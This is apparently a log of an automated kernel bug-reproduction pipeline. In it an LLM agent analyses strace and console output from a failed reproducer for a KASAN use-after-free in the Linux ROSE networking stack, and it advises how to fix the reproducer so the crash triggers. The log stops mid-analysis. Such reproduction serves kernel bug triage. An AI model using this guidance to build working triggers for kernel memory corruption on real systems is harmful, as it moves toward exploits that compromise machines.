3. Subsequently, the `bind()` call failed with `-EADDRNOTAVAIL`:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL
```
This fails in `rose_bind()` -> `rose_dev_get()` because it cannot find an `IFF_UP` ROSE device with the requested address `01:00:00:00:00`.

To fix this, change `ifr.ifr_hwaddr.sa_family` to `ARPHRD_ROSE` (270) when setting the MAC address of the `rose0` interface. This will allow `SIOCSIFHWADDR` to succeed, which in turn will allow `bind()` to find the device and succeed. TitleMatches:false]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.

Critical Diagnostic Rule:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.

The input variable 'IsProbe' indicates whether the executed program was a simple environment
probe (true) or a full reproducer candidate (false).
Use this to guide your classification and feedback:

1. If 'IsProbe' is true:
   - If the execution was successful (all environment/subsystem probes passed), provide feedback
     explicitly indicating that the environment is ready and the agent should now proceed to
     generate the full reproducer in the next iteration.
   - If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
     explain what failed so the generator can adjust its environment setups.

2. If 'IsProbe' is false:
   - If a crash was triggered (Reproduced is true):
     - Determine if the triggered crash matches the expected bug.
     - If you conclude they represent the same underlying bug (the same root cause)
       despite different titles, crash signatures, or call traces, set TitleMatches
       to true and provide a detailed, technical, and verbose explanation of the
       equivalence in the 'Feedback' field.
     - If they do not represent the same bug (a completely unrelated crash/collision),
        set TitleMatches to false and explain the collision in 'Feedback'.
     - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
   - If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
     - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
       to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
       and provide feedback on how to improve the reproducer logic to trigger the crash.

If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

IsProbe: false
Reproduced: false
Console Output: Warning: Permanently added '[localhost]:21056' (ED25519) to the list of known hosts.
[  122.029124][ T6095] mkiss: ax0: crc mode is auto.
[  122.034090][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  122.034105][   T33] audit: type=1400 audit(1779796372.191:106): avc:  denied  { create } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
[  122.063166][   T33] audit: type=1400 audit(1779796372.201:107): avc:  denied  { ioctl } for  pid=6095 comm="syz-executor325" path="socket:[8338]" dev="sockfs" ino=8338 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.078371][   T33] audit: type=1400 audit(1779796372.211:108): avc:  denied  { bind } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.091598][   T33] audit: type=1400 audit(1779796372.221:109): avc:  denied  { read } for  pid=5546 comm="dhcpcd" name="n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.106576][   T33] audit: type=1400 audit(1779796372.221:110): avc:  denied  { open } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.120784][   T33] audit: type=1400 audit(1779796372.221:111): avc:  denied  { getattr } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  139.299886][ T1365] ieee802154 phy0 wpan0: encryption failed: -22
[  139.302693][ T1365] ieee802154 phy1 wpan1: encryption failed: -22

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2989724055

<...>
Warning: Permanently added '[localhost]:5190' (ED25519) to the list of known hosts.
execve("/syz-executor2989724055", ["/syz-executor2989724055"], 0x7ffd7ce70960 /* 11 vars */) = 0
brk(NULL)                               = 0x555590842000
brk(0x555590842d80)                     = 0x555590842d80
arch_prctl(ARCH_SET_FS, 0x555590842400) = 0
set_tid_address(0x5555908426d0)         = 6092
set_robust_list(0x5555908426e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2989724055", 4096) = 23
getrandom("\x32\x13\x2d\xcc\xb7\x8f\x27\xa9", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555590842d80
brk(0x555590863d80)                     = 0x555590863d80
brk(0x555590864000)                     = 0x555590864000
mprotect(0x7f3715d3e000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  119.907996][ T6092] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  119.922950][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  119.922965][   T33] audit: type=1400 audit(1779796530.711:106): avc:  denied  { create } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  119.940297][   T33] audit: type=1400 audit(1779796530.721:107): avc:  denied  { read } for  pid=5542 comm="dhcpcd" name="n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCGIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.952428][   T33] audit: type=1400 audit(1779796530.721:108): avc:  denied  { open } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  119.965908][   T33] audit: type=1400 audit(1779796530.721:109): avc:  denied  { getattr } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCSIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_UP|IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.978307][   T33] audit: type=1400 audit(1779796530.741:110): avc:  denied  { ioctl } for  pid=6092 comm="syz-executor298" path="socket:[8345]" dev="sockfs" ino=8345 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
ioctl(4, SIOCGIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_NOARP}) = 0
ioctl(4, SIOCSIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_UP|IFF_NOARP}) = 0
openat(AT_FDCWD, "/proc/sys/net/rose/clear_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
openat(AT_FDCWD, "/proc/sys/net/rose/restart_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 5
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL (Cannot assign requested address)
[  120.015524][   T33] audit: type=1400 audit(1779796530.801:111): avc:  denied  { bind } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
write(1, "[*] Starting reproducer...\n[+] Opened /dev/ptmx\n[+] Set line discipline to N_AX25\n[+] Created AF_ROS"..., 278) = 278
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
exit_group(1)                           = ?
+++ exited with 1 +++
[  139.244571][ T1362] ieee802154 phy0 wpan0: encryption failed: -22
[  139.247364][ T1362] ieee802154 phy1 wpan1: encryption failed: -22

Crash Report: 


172/4 2026/05/26 11:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14138
							output: 22
							thoughts: 438
						

Thoughts:
**Analyzing the Reproducer for the rose_send_frame UAF**

Okay, so we've got a KASAN slab-use-after-free write in `rose_send_frame`. The reproducer was run without probing and didn't initially reproduce the issue, but we've got some strace output to dig through. First things first, I need to understand what's going on with the `ioctl` and `bind` calls.

The strace output shows that we're getting an `EINVAL` error on `SIOCSIFHWADDR` for `rose0`. That's odd. `rose0` is a network interface created by the `rose` module. Let's see what's happening with that hardware address setting. My initial thought is the `sa_family` is wrong, probably mismatched. Let me double-check the values.

I'm seeing `sa_family=0xb`, which is 11, but I'd expect something more like `ARPHRD_ROSE`, which is typically 270. That's a huge discrepancy. Wait, why isn't the family set correctly? Did something misinterpret the value? I need to verify that `ARPHRD_ROSE` is, in fact, 270. Let me check the kernel's `include/uapi/linux/if_arp.h` to make absolutely sure. This could be a very fundamental issue with how the `rose` module is interacting with the hardware address setting.



173/4 2026/05/26 11:56 tool grepper
0m Args:
map[Expression:#define ARPHRD_ROSE]

Results:
map[Output:include/uapi/linux/if_arp.h-52-#define ARPHRD_ADAPT	264
include/uapi/linux/if_arp.h:53:#define ARPHRD_ROSE	270
include/uapi/linux/if_arp.h-54-#define ARPHRD_X25	271		/* CCITT X.25			*/
]

174/4 2026/05/26 11:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15031
							output: 23
							thoughts: 122
						

Thoughts:
**Debugging a Socket Family Issue**

Okay, so I'm looking at this code and I've got `ARPHRD_ROSE` as 270, or `0x10E` in hex. But I'm seeing a problem with `SIOCSIFHWADDR`, specifically the `sa_family` field. It's reading as `0xb`, which is 11. Now, initially, I thought that maybe 11 was the same as `ARPHRD_ROSE`. But wait a minute, no, that seems wrong. Wasn't 11 some obscure Apple network, like `ARPHRD_LOCALTALK`? Or something similar? I need to double-check that.

Right, `sa_family` is `unsigned short`, so the value `0xb` does indeed equal 11. Okay, no obvious error here yet, just need to confirm the correct value. Time to go to the source. Let's pull up the `include/uapi/linux/if_arp.h` file. I'll need to verify what the kernel actually defines for the `sa_family` values. I know I can trust the `uapi` includes to be up to date and correct. Let's see what's actually defined for 11 in that header. This should clear up the ambiguity.



175/4 2026/05/26 11:56 tool grepper
0m Args:
map[Expression:#define ARPHRD_.*11]

Results:
map[Output:include/uapi/linux/if_arp.h-88-#define ARPHRD_IEEE802_TR 800		/* Magic type ident for TR	*/
include/uapi/linux/if_arp.h:89:#define ARPHRD_IEEE80211 801		/* IEEE 802.11			*/
include/uapi/linux/if_arp.h:90:#define ARPHRD_IEEE80211_PRISM 802	/* IEEE 802.11 + Prism2 header  */
include/uapi/linux/if_arp.h:91:#define ARPHRD_IEEE80211_RADIOTAP 803	/* IEEE 802.11 + radiotap header */
include/uapi/linux/if_arp.h-92-#define ARPHRD_IEEE802154	  804
]

176/4 2026/05/26 11:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15702
							output: 28
							thoughts: 11
						

Thoughts:
Here's my attempt at summarizing the thought process, tailored for an expert audience:

**Quick Sanity Check: The Number 11**

Okay, so I'm prompted with the number 11. My immediate, almost instinctual response is to quickly mentally process it. Given the context, I'm likely gearing up to solve a problem that involves numbers, potentially a calculation, a pattern recognition exercise, or maybe even a conceptual understanding of prime numbers. I'm not diving in blindly, though. My first move, even subconsciously, is a quick "sanity check" to ensure there are no glaring oversights in my approach. I wouldn't call it a deep dive, it is more like confirming that 11 behaves as expected in the problem's setting, before starting to solve.



177/4 2026/05/26 11:56 tool grepper
0m Error:
no matches

Args:
map[Expression:#define ARPHRD_.*[[:space:]]11]

Results:
map[Output:]

178/4 2026/05/26 11:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15922
							output: 45
							thoughts: 58
						

Thoughts:
Here's my summary, as the thought process unfolds:

**Digging into that MAC Address Setting...**

Okay, hold on a second. That `sa_family` field within `SIOCSIFHWADDR`… typically, that's where we specify the *hardware type*, right? Like, is this an Ethernet card, a wireless interface, etc. It's a bit odd to be setting the *address* within that. I need to be sure I'm following the correct logic here. Let me double-check how MAC addresses are actually being set in the kernel. I'll need to go look at `dev_set_mac_address` or maybe `dev_set_mac_address_user` in `net/core/dev.c`. That's where the core functionality for setting interface MAC addresses must be. Gotta confirm the path this data is taking.



179/4 2026/05/26 11:56 tool codesearch-definition-source
0m Args:
map[ContextFile:net/core/dev.c IncludeLines:true Name:dev_set_mac_address_user]

Results:
map[SourceCode:  87:	int dev_set_mac_address_user(struct net_device *dev,
  88:				     struct sockaddr_storage *ss,
  89:				     struct netlink_ext_ack *extack)
  90:	{
  91:		int ret;
  92:	
  93:		down_write(&dev_addr_sem);
  94:		netdev_lock_ops(dev);
  95:		ret = netif_set_mac_address(dev, ss, extack);
  96:		netdev_unlock_ops(dev);
  97:		up_write(&dev_addr_sem);
  98:	
  99:		return ret;
 100:	}
 SourceFile:net/core/dev_api.c]

180/4 2026/05/26 11:56 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16432
							output: 46
							thoughts: 14
						

Thoughts:
Here's my thought process, as if I were considering that function:

**Diving into `netif_set_mac_address`**

